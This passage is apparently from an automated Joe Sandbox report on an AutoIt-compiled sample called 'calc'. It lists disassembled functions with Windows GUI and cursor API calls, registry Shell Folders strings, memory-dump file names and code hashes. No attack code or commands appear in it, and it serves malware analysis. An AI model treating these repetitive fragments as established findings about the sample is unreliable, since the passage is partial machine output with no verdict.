      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: NameUser
      • String ID:
      • API String ID: 2645101109-0
      • Opcode ID: d99580a7dd0d604ec6faf33ad263533e198e63e0be265b2dd7bc6d0af1978b66
      • Instruction ID: d880028efed86599849788da2d52c74bb48a98584789060e47ac239b482ac81e
      • Opcode Fuzzy Hash: d99580a7dd0d604ec6faf33ad263533e198e63e0be265b2dd7bc6d0af1978b66
      • Instruction Fuzzy Hash: E3C04CB240810CEFCB50CF80CD88ADE77BCAB08301F1010D69245D2150D7745B44BB25
      Function 004422B6 Relevance: .6, Instructions: 646COMMON
      Download Yara Rule
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: d6b2241c1e3ffc818d66f920908f4ab8d64e9886c298b1664484395dfdf5ffcc
      • Instruction ID: cb452ce94aa6b4b57d62bf7a907f1812c9957e08c072f4a2a8389e9e0a8bac5f
      • Opcode Fuzzy Hash: d6b2241c1e3ffc818d66f920908f4ab8d64e9886c298b1664484395dfdf5ffcc
      • Instruction Fuzzy Hash: 75325936E0011EBBEF09CED5CC80DDDBBB3FB88304F558169E610B2661DAB56A16DB40
      Function 00456824 Relevance: .4, Instructions: 357COMMON
      Download Yara Rule
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: 0975f5892f5e549899d3a88fcccc993e114b020ddf47f2bca1d14cc41228216c
      • Instruction ID: df1dbaeda81ea60c5014dc966a1e03887f7eb943e26fb73baa63d050f7c57ae7
      • Opcode Fuzzy Hash: 0975f5892f5e549899d3a88fcccc993e114b020ddf47f2bca1d14cc41228216c
      • Instruction Fuzzy Hash: FDC1D270D551599EEF289F94C4453BEBBB5EB05307FAA401BEC42A7283C67C4D8AC70A
      Function 0043E46A Relevance: .3, Instructions: 342COMMON
      Download Yara Rule
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: ef714ef140bed3a7edf10e2793114386ccbd89f9bbb0c1f8b0294978b4860602
      • Instruction ID: cceca580a8967cbb15a73722b464b36da95cc13c2e9811def82fd2c153b8e359
      • Opcode Fuzzy Hash: ef714ef140bed3a7edf10e2793114386ccbd89f9bbb0c1f8b0294978b4860602
      • Instruction Fuzzy Hash: 59D15B32901219DBCF20EF66C8819DD77A5FF58348F51112BFC16A7291D738ED868B89
      Function 0044D7D4 Relevance: .1, Instructions: 77COMMON
      Download Yara Rule
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: 955673a4e0960d26fe1f61bf3935cae5608d5ce8416ddd6c99d3eadf914ef0d9
      • Instruction ID: 037fad67c0e599306cd01d3065f0ed8850a48917680de54553801d9a836a0176
      • Opcode Fuzzy Hash: 955673a4e0960d26fe1f61bf3935cae5608d5ce8416ddd6c99d3eadf914ef0d9
      • Instruction Fuzzy Hash: 2D21D632900204ABDB14EF69CC858BBBBA5FF44350B0581A9ED559B246E734FA15C7E0
      Function 0040D33A Relevance: 54.5, APIs: 29, Strings: 2, Instructions: 294windowCOMMON
      Download Yara Rule
      APIs
      • SendMessageW.USER32(?,00000136,?,?), ref: 0040D3BF
      • GetSysColorBrush.USER32(00000005), ref: 0040D3D0
      • GetClientRect.USER32(?,?), ref: 0040D3E0
      • SetViewportOrgEx.GDI32(?,00000000,00000000,?), ref: 0040D3F3
      • FillRect.USER32(?,?,?), ref: 0040D3FD
      • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 0040D40B
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: RectViewport$BrushClientColorFillMessageSend
      • String ID: COMBOBOX$EDIT
      • API String ID: 636829656-1358951209
      • Opcode ID: 043c5126e85a944e73dacd84f897b30b06e6abef17b4986d2349f146c263d21c
      • Instruction ID: 7f2e2f383ff841e78ad89e21c1573881fd4c20705d22ada392839be075dbe60e
      • Opcode Fuzzy Hash: 043c5126e85a944e73dacd84f897b30b06e6abef17b4986d2349f146c263d21c
      • Instruction Fuzzy Hash: 1CA16A3190020ABBCF219FE8DC88DAF3BB8EB44341F044536F915B21A1D739DD599B69
      Function 00405B07 Relevance: 51.2, APIs: 34, Instructions: 239COMMON
      Download Yara Rule
      APIs
      • GetSysColor.USER32(0000000E), ref: 00405B4A
      • SetTextColor.GDI32(?,00000000), ref: 00405B52
      • GetSysColorBrush.USER32(0000000F), ref: 00405B85
      • GetSysColor.USER32(0000000F), ref: 00405B90
      • SetBkColor.GDI32(?,?), ref: 00405BA7
      • SelectObject.GDI32(?,?), ref: 00405BB4
      • InflateRect.USER32(?,000000FF,000000FF), ref: 00405BD8
      • GetSysColor.USER32(00000010), ref: 00405BE0
      • CreateSolidBrush.GDI32(00000000), ref: 00405BE7
      • FrameRect.USER32(?,?,00000000), ref: 00405BF5
      • DeleteObject.GDI32(00000000), ref: 00405BFC
      • InflateRect.USER32(?,000000FE,000000FE), ref: 00405C40
      • FillRect.USER32(?,00000000,?), ref: 00405C6C
        • Part of subcall function 0040590B: GetSysColor.USER32(0000000E), ref: 0040592E
        • Part of subcall function 0040590B: SetTextColor.GDI32(?,00000000), ref: 00405936
        • Part of subcall function 0040590B: GetSysColorBrush.USER32(0000000F), ref: 0040596C
        • Part of subcall function 0040590B: GetSysColor.USER32(0000000F), ref: 00405978
        • Part of subcall function 0040590B: GetSysColor.USER32(00000011), ref: 00405999
        • Part of subcall function 0040590B: CreatePen.GDI32(00000000,00000001,00743C00), ref: 004059AB
        • Part of subcall function 0040590B: SelectObject.GDI32(?,00000000), ref: 004059BD
        • Part of subcall function 0040590B: SetBkColor.GDI32(?,?), ref: 004059C5
        • Part of subcall function 0040590B: SelectObject.GDI32(?,?), ref: 004059D4
        • Part of subcall function 0040590B: InflateRect.USER32(?,000000FF,000000FF), ref: 004059F2
        • Part of subcall function 0040590B: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00405A0D
        • Part of subcall function 0040590B: SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00405A3E
        • Part of subcall function 0040590B: GetWindowTextW.USER32(?,00000000,00000001), ref: 00405A59
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Color$Rect$Object$BrushInflateSelectText$Create$DeleteFillFrameMessageRoundSendSolidWindow
      • String ID:
      • API String ID: 2938873313-0
      • Opcode ID: 553456ab4ca1e89e0d819e2f1f6cc92282432695e87ba36e065eda460ae372a5
      • Instruction ID: 244f93e74abd21b7a8fd65ac97d11d8a4850837e3841d29fac0a06d5552eaefe
      • Opcode Fuzzy Hash: 553456ab4ca1e89e0d819e2f1f6cc92282432695e87ba36e065eda460ae372a5
      • Instruction Fuzzy Hash: 44811872804629FFDF019FA0ED48EAE7B79FB05322F104626F922A61E1D7799940CF54
      Function 00407A0B Relevance: 51.2, APIs: 28, Strings: 1, Instructions: 472windowCOMMON
      Download Yara Rule
      APIs
      • ExtractIconExW.SHELL32(?,?,00000000,?,00000001), ref: 00407AAF
      • SendMessageW.USER32(?,00001303,00000000,00000000), ref: 00407B01
      • SendMessageW.USER32(?,0000133D,?,?), ref: 00407B37
      • DestroyCursor.USER32(?), ref: 00407B44
      • ExtractIconExW.SHELL32(?,?,00000000,?,00000001), ref: 00407BAF
      • SendMessageW.USER32(?,00001109,00000000,00000000), ref: 00407C1F
      • SendMessageW.USER32(?,0000113E,00000000,?), ref: 00407CA1
      • SendMessageW.USER32(?,0000113F,00000000,00000032), ref: 00407CCD
      • GetClientRect.USER32(?,?), ref: 00407CDE
      • LoadImageW.USER32(00000000,?,00000000,00000000,00000000,00002010), ref: 00407D3D
      • SendMessageW.USER32(?,000000F7,00000000,00000000), ref: 00407D56
      • DeleteObject.GDI32(?), ref: 00407D64
      • DestroyCursor.USER32(?), ref: 00407D72
      • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00002010), ref: 00407D96
      • SendMessageW.USER32(?,000000F7,00000001,?), ref: 00407DAF
      • DeleteObject.GDI32(?), ref: 00407DBD
      • DestroyCursor.USER32(?), ref: 00407DCB
      • ExtractIconExW.SHELL32(?,?,?,?,00000001), ref: 00407DF1
      • DestroyCursor.USER32(?), ref: 00407E12
      • ExtractIconExW.SHELL32(?,?,?,?,00000001), ref: 00407E2E
      • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00407E5B
      • SendMessageW.USER32(?,00001053,000000FF,?), ref: 00407E90
      • SendMessageW.USER32(?,00001003,00000001,00000000), ref: 00407EDA
      • SendMessageW.USER32(?,00001003,00000000,00000000), ref: 00407F03
      • SendMessageW.USER32(?,0000104C,00000000,?), ref: 00407F59
      • SendMessageW.USER32(?,00001015,?,?), ref: 00407F6D
      • DestroyCursor.USER32(?), ref: 00407F78
      • DestroyCursor.USER32(?), ref: 00407F7D
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: MessageSend$CursorDestroy$ExtractIcon$DeleteImageLoadObject$ClientRect
      • String ID: 2
      • API String ID: 3206114824-450215437
      • Opcode ID: aff11427822101074db3cf344de3680df07f56a710e8f8337fe37fa57c35fd29
      • Instruction ID: 449b1562671becbc228cbc9511108e771962b84d9fc6a796af91ae0424866a09
      • Opcode Fuzzy Hash: aff11427822101074db3cf344de3680df07f56a710e8f8337fe37fa57c35fd29
      • Instruction Fuzzy Hash: 0C024571A04219AFDB11CFA4CC84BEE7BB8BF08710F00456AFA15B72D1D778A950CB99
      Function 00436C04 Relevance: 44.0, APIs: 5, Strings: 20, Instructions: 265COMMON
      Download Yara Rule
      APIs
      • __time32.LIBCMT ref: 00436C41
        • Part of subcall function 0044B9D2: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,00442B13,00000000,00000001,?,?,00000000,?,?,00442BE4,00442E41,00000001,?), ref: 0044B9DB
        • Part of subcall function 0044B9D2: __aulldiv.LIBCMT ref: 0044B9FB
      • CharUpperBuffW.USER32(0043664B,?,00000002,?,00000000), ref: 00436C59
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Time$BuffCharFileSystemUpper__aulldiv__time32
      • String ID: %.2d$%.3d$AppData$Common AppData$Common Desktop$Common Documents$Common Favorites$Common Programs$Common Start Menu$Common Startup$CommonFilesDir$Desktop$Favorites$Personal$ProgramFilesDir$Programs$SOFTWARE\Microsoft\Windows\CurrentVersion$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders$Start Menu$Startup
      • API String ID: 2161657684-3228076346
      • Opcode ID: f7afec519e681cee481e602af3ba30e66b4fa25165008a6563f3cebfe114d443
      • Instruction ID: 94c72ddd4e8f99876f78adca7abbf7ce8ab67422fd5364023a3b36f69be373fd
      • Opcode Fuzzy Hash: f7afec519e681cee481e602af3ba30e66b4fa25165008a6563f3cebfe114d443
      • Instruction Fuzzy Hash: 27913BB1A08208FBDF209A00CC86FEA7634EB04748F659057B546731A1E7BD6E919A5F
      Function 0040590B Relevance: 40.7, APIs: 27, Instructions: 172windowCOMMON
      Download Yara Rule
      APIs
      • GetSysColor.USER32(0000000E), ref: 0040592E
      • SetTextColor.GDI32(?,00000000), ref: 00405936
      • GetSysColor.USER32(00000012), ref: 00405950
      • SetTextColor.GDI32(?,00405B21), ref: 00405958
      • GetSysColorBrush.USER32(0000000F), ref: 0040596C
      • GetSysColor.USER32(0000000F), ref: 00405978
      • CreateSolidBrush.GDI32(?), ref: 00405983
      • GetSysColor.USER32(00000011), ref: 00405999
      • CreatePen.GDI32(00000000,00000001,00743C00), ref: 004059AB
      • SelectObject.GDI32(?,00000000), ref: 004059BD
      • SetBkColor.GDI32(?,?), ref: 004059C5
      • SelectObject.GDI32(?,?), ref: 004059D4
      • InflateRect.USER32(?,000000FF,000000FF), ref: 004059F2
      • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00405A0D
      • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00405A3E
      • GetWindowTextW.USER32(?,00000000,00000001), ref: 00405A59
      • InflateRect.USER32(?,000000FD,000000FD), ref: 00405A7B
      • DrawFocusRect.USER32(?,?), ref: 00405A87
      • GetSysColor.USER32(00000011), ref: 00405A96
      • SetTextColor.GDI32(?,00000000), ref: 00405A9E
      • DrawTextW.USER32(?,?,000000FF,?,?), ref: 00405AB4
      • SelectObject.GDI32(?,?), ref: 00405AC9
      • DeleteObject.GDI32(?), ref: 00405AD5
      • SelectObject.GDI32(?,?), ref: 00405ADC
      • DeleteObject.GDI32(?), ref: 00405AE2
      • SetTextColor.GDI32(?,?), ref: 00405AE9
      • SetBkColor.GDI32(?,?), ref: 00405AF4
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Color$ObjectText$RectSelect$BrushCreateDeleteDrawInflate$FocusMessageRoundSendSolidWindow
      • String ID:
      • API String ID: 1441705042-0
      • Opcode ID: 885b3a8753f4c661a3ae0567f457580ae1d533f7fd3ee976a901b4b308742a30
      • Instruction ID: 6c58bee66d785cfda33b29ccf49808c69a7ed797e4659f5d7d1f827d9b486f44
      • Opcode Fuzzy Hash: 885b3a8753f4c661a3ae0567f457580ae1d533f7fd3ee976a901b4b308742a30
      • Instruction Fuzzy Hash: B7516E72408705FFD7019F60DC48A5BBBA9FB89322F100929F662921E1D776DD50CF59
      Function 0042C822 Relevance: 40.6, APIs: 19, Strings: 4, Instructions: 300windowCOMMON
      Download Yara Rule
      APIs
      • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0042C94B
      • SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 0042C988
      • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000001), ref: 0042C999
      • CreateWindowExW.USER32(00000001,AutoIt v3,00000000,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0042C9E2
      • GetClientRect.USER32(00000000,?), ref: 0042C9EE
      • CreateWindowExW.USER32(00000000,static,00000000,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 0042CA37
      • GetStockObject.GDI32(00000011), ref: 0042CA50
      • SelectObject.GDI32(00000000,00000000), ref: 0042CA58
      • GetTextFaceW.GDI32(00000000,00000040,?), ref: 0042CA68
      • DeleteDC.GDI32(00000000), ref: 0042CA7B
      • CreateFontW.GDI32(00000001,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 0042CAA8
      • SendMessageW.USER32(00000030,00000000,00000001), ref: 0042CABF
      • CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 0042CAF2
      • SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 0042CB05
      • SendMessageW.USER32(00000404,00000001,00000000), ref: 0042CB15
      • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 0042CB43
      • GetStockObject.GDI32(00000011), ref: 0042CB4E
      • SendMessageW.USER32(00000030,00000000), ref: 0042CB5D
      • ShowWindow.USER32(00000004), ref: 0042CB67
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustClientDeleteFaceFontInfoParametersSelectShowSystemText
      • String ID: AutoIt v3$DISPLAY$msctls_progress32$static
      • API String ID: 4116885437-517079104
      • Opcode ID: a5587cec23f01dc1b68f985e89440f218b0093f923a48c4f88b892f4fb94e88c
      • Instruction ID: 1615eac8dec7ae41765c77f636881bc5689f084a187106bb6c267292153e9747
      • Opcode Fuzzy Hash: a5587cec23f01dc1b68f985e89440f218b0093f923a48c4f88b892f4fb94e88c
      • Instruction Fuzzy Hash: CFB1AF71A00218FFDB249FA5DC89E9F7BB8EB45B15F04815AF600AA191D778DD40CF68
      Function 0042CC1E Relevance: 36.1, APIs: 24, Instructions: 118threadCOMMON
      Download Yara Rule
      APIs
      • LoadCursorW.USER32(00000000,00007F8A), ref: 0042CC35
      • LoadCursorW.USER32(00000000,00007F00), ref: 0042CC40
      • LoadCursorW.USER32(00000000,00007F03), ref: 0042CC4B
      • LoadCursorW.USER32(00000000,00007F8B), ref: 0042CC56
      • LoadCursorW.USER32(00000000,00007F01), ref: 0042CC61
      • LoadCursorW.USER32(00000000,00007F81), ref: 0042CC6C
      • LoadCursorW.USER32(00000000,00007F88), ref: 0042CC77
      • LoadCursorW.USER32(00000000,00007F80), ref: 0042CC82
      • LoadCursorW.USER32(00000000,00007F86), ref: 0042CC8D
      • LoadCursorW.USER32(00000000,00007F83), ref: 0042CC98
      • LoadCursorW.USER32(00000000,00007F85), ref: 0042CCA3
      • LoadCursorW.USER32(00000000,00007F82), ref: 0042CCAE
      • LoadCursorW.USER32(00000000,00007F84), ref: 0042CCB9
      • LoadCursorW.USER32(00000000,00007F04), ref: 0042CCC4
      • LoadCursorW.USER32(00000000,00007F02), ref: 0042CCCF
      • GetCursorPos.USER32(?), ref: 0042CCD8
      • WindowFromPoint.USER32(?,?), ref: 0042CCE4
      • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0042CCF7
      • GetCurrentThreadId.KERNEL32 ref: 0042CD00
      • AttachThreadInput.USER32(00000000), ref: 0042CD03
      • GetCursor.USER32 ref: 0042CD09
      • GetWindowThreadProcessId.USER32(?,00000000), ref: 0042CD17
      • GetCurrentThreadId.KERNEL32 ref: 0042CD1A
      • AttachThreadInput.USER32(00000000), ref: 0042CD1D
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Cursor$Load$Thread$Window$AttachCurrentInputProcess$FromPoint
      • String ID:
      • API String ID: 25922675-0
      • Opcode ID: b3dee8c5c33cc5a5e27d9d6878bb93dc215f6f67bec1131d5dbaf3b8734b53b9
      • Instruction ID: b9d9b1f01e5e50cc857d8ed62ab4f6a13f19b37c746215968ab34a60c96efe33
